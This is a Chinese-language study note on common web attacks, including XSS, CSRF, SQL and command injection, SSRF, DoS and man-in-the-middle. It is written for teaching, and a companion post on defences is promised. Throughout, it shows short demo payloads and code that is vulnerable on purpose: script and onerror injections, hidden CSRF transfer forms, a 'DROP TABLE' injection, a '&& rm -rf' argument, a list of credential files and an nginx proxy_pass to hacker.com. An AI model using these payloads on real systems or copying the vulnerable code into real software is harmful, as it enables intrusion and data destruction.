WEB开发的安全之旅 (攻击篇) | 青训营笔记

215 阅读4分钟

WEB开发的安全之旅 (攻击篇) | 青训营笔记

🌵前言

这是我参与「第四届青训营」笔记创作活动的的第6天😺

对于WEB开发来说,安全问题也非常重要。忽视的安全漏洞及隐患不仅会危害到公司和用户,作为开发者的程序员更是首当其冲。这篇笔记将从hacker的角度去看web安全,并记录其中常见的一些攻击手段。

⚔️Cross-Site Scripting(XSS)

XSS主要利用了

  1. 盲目信任用户的提交内容

  2. string -> DOM

    • document.write
    • element.innerHTML = anyString
    • SSR(user_data)

XSS的一些特点

  • 通常难以从UI上感知(暗地执行脚本)
  • 窃取用户信息(cookie/token)
  • 绘制UI(例如弹窗),诱骗用户点击/填写表单

XSS demo

public async submit(ctx){
    const {content,id} = ctx.request.body;
    //没有对content过滤
    await db.save({
        content,
        id
    })
}
​
public async render(ctx){
    const {content} = await db.query({
        id:ctx.query.id
    })
    //没有对content过滤
    ctx.body = `<div>${content}</div>`;
}
//提交恶意脚本
fetch("/submit",{
    body:JSON.stringify({
        id:"1",
        content:`<script>alert("xss");</script>`
    });
});
​
//攻击结果
ctx.body = `<div>
<script>alert("xss");</script>
</div>`;

Stored XSS

  • 恶意脚本被存在数据库
  • 访问页面 -> 读数据 === 被攻击
  • 危害最大,对全部用户可见

Reflected XSS

  • 不涉及数据库
  • 从URL上攻击

host/path/?param=<script>alert('123')</script>

public async render(ctx){
    const {param} = ctx.query;
    ctx.status = 200;
    ctx.body = `<div>${param}</div>`;
}

DOM-based XSS

  • 不需要服务器的参与
  • 恶意攻击的发起 + 执行,全在浏览器完成

host/path/?param=<script>alert('123')</script>

const content = new URL(location.href).searchParams.get("param");
const div = document.createElement("div");
//恶意脚本注入
div.innerHTML = content;
document.body.append(div);

Reflected vs DOM-based

区别在于完成注入脚本的地方:

image.png

Mutation-based XSS

  • 利用了浏览器渲染DOM的特性(独特优化)
  • 不同浏览器,会有区别(按浏览器进行攻击)

<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<div>
    <noscript><p title="</noscript>
    <img src="x" onerror="alert(1)">
    "">"
</div>

📡Cross-site request forgery (CSRF)

  • 在用户不知情的前提下
  • 利用用户权限 (cookie)
  • 构造指定HTTP请求,窃取或修改用户敏感信息

CSRF demo

  1. 用户没有访问银行页面 (但是点击了恶意链接)
  2. 银行页面中的特定接口被请求
  3. 请求执行成功

有cookie的请求 === 合法用户的请求

image.png

CSRF -- GET

  • 链接

<a href="https://bank.com/transfer?to-hacker&amount=100">点我抽奖</a>

  • 图片

<img style="display:none;" src="https://bank.com/transfer?to-hacker&amount=100"/>

CSRF -- beyond GET

<form action="https://bank/transfer_tons_of_money" method="POST">
    <input name="amount" value="1000000000000" type="hidden"/>
    <input name="to" value="hacker" type="hidden"/>
</form>

💧Injection

SQL Injection

image.png

SQL Injection demo

  • 读取请求字段
  • 直接以字符串的形式拼接SQL语句
public async renderForm(ctx) {
    const {username,form_id} = ctx.query;
    const result = await sql.query(`
        SELECT a,b,c FROM table
        WHERE username = ${username}
        AND form_id = ${form_id}
    `);
    ctx.body = renderForm(result);
}
//恶意注入
fetch("/api",{
    method:"POST",
    headers:{
      "Content-Type":"application/json"  
    },
    body:JSON.stringify({
        username:"any;DROP TABLE table;",
    })
})
//被删库
SELECT XXX FROM XXX; DROP TABLE table;

Injection 不止于SQL

  • CLI (command line,命令行)
  • OS command
  • Server-Side Request Forgery (SSRF,服务端伪造请求)

⚠️严格来说,SSRF不是injection,但是原理类似。

CLI Injection demo

public async convertVideo(ctx) {
    const { video,options } = ctx.request.body;
    exec(`convert-cli ${video} -o ${options}`);
    ctx.body = "ok";
}
//恶意注入
fetch("/api",{
    method:"POST",
    body:JSON.stringify({
        options:`&& rm -rf xxx`
    })
});
​
//结果:当前目录下某文件被删除
const command = `convert-cli video -o && rm -rf xxx`

OS command Injection demo

暴露了重要文件:

  • /etc/passwd
  • /etx/shadow
  • ~/.ssh
  • etc/apache2/httpd.conf
  • etc/nginx/nginx.conf

导致:

location / {
    proxy_pass https://hacker.com;
}

① 流量转发到真实第三方

② 第三方扛不住新增的流量

③ 第三方服务挂掉💀(迫使竞争对手下线)

SSRF demo

  1. 请求用户自定义的callback URL
  2. web server通常有内网访问权限,使得访问callback === 暴露内网信息
public async webhook(ctx) {
    // callback 可能是内网 url
    // e.g http://secret.com/get_employ_payrolls
    ctx.body = await fetch(ctx.query.callback);
}

❄️Denial of Service (DoS)

通过某种方式(构造特定请求),导致服务器资源被显著消耗,来不及相应更多请求,导致请求挤压,进而雪崩效应。

ReDoS

基于正则表达式的DoS。

在正则表达式中,存在字符串匹配的“贪婪模式”:若n个目标字符无法匹配到,则会尝试n-1个,n-2个...这是一个不断回溯的过程。这使得响应时间增加,而接口吞吐量减小

image.png

Logical DoS

  • 耗时的同步操作
  • 数据库写入
  • SQL join
  • 文件备份
  • 循环执行逻辑

Distributed DoS (DDoS)

短时间内,来自大量僵尸设备的请求流量,服务器不能及时完成全部请求,导致请求堆积,进而雪崩效应,无法响应新请求。

DDoS攻击特点

  • 直接访问IP
  • 任意API
  • 消耗大量带宽(耗尽)

image.png

🌊SYN flood : TCP三次握手没有完成,没有建立连接,无法释放最大连接数,导致新请求无法接收。

🚚传输层攻击

中间人攻击

  • 明文传输 📑
  • 信息篡改不可知 🚫
  • 对方身份未验证 🤦‍♂

image.png

⭐️小结

维护web安全,唯有知己知彼,才能百战不殆。笔记记录了XSSCSRFSSRFInjectionDoS以及传输层的中间人攻击等其他更细节的常见攻击手段,而后续笔记《WEB开发的安全之旅 (防御篇)》也将记录各种攻击方式对应的防御手段。💨

2022/7/30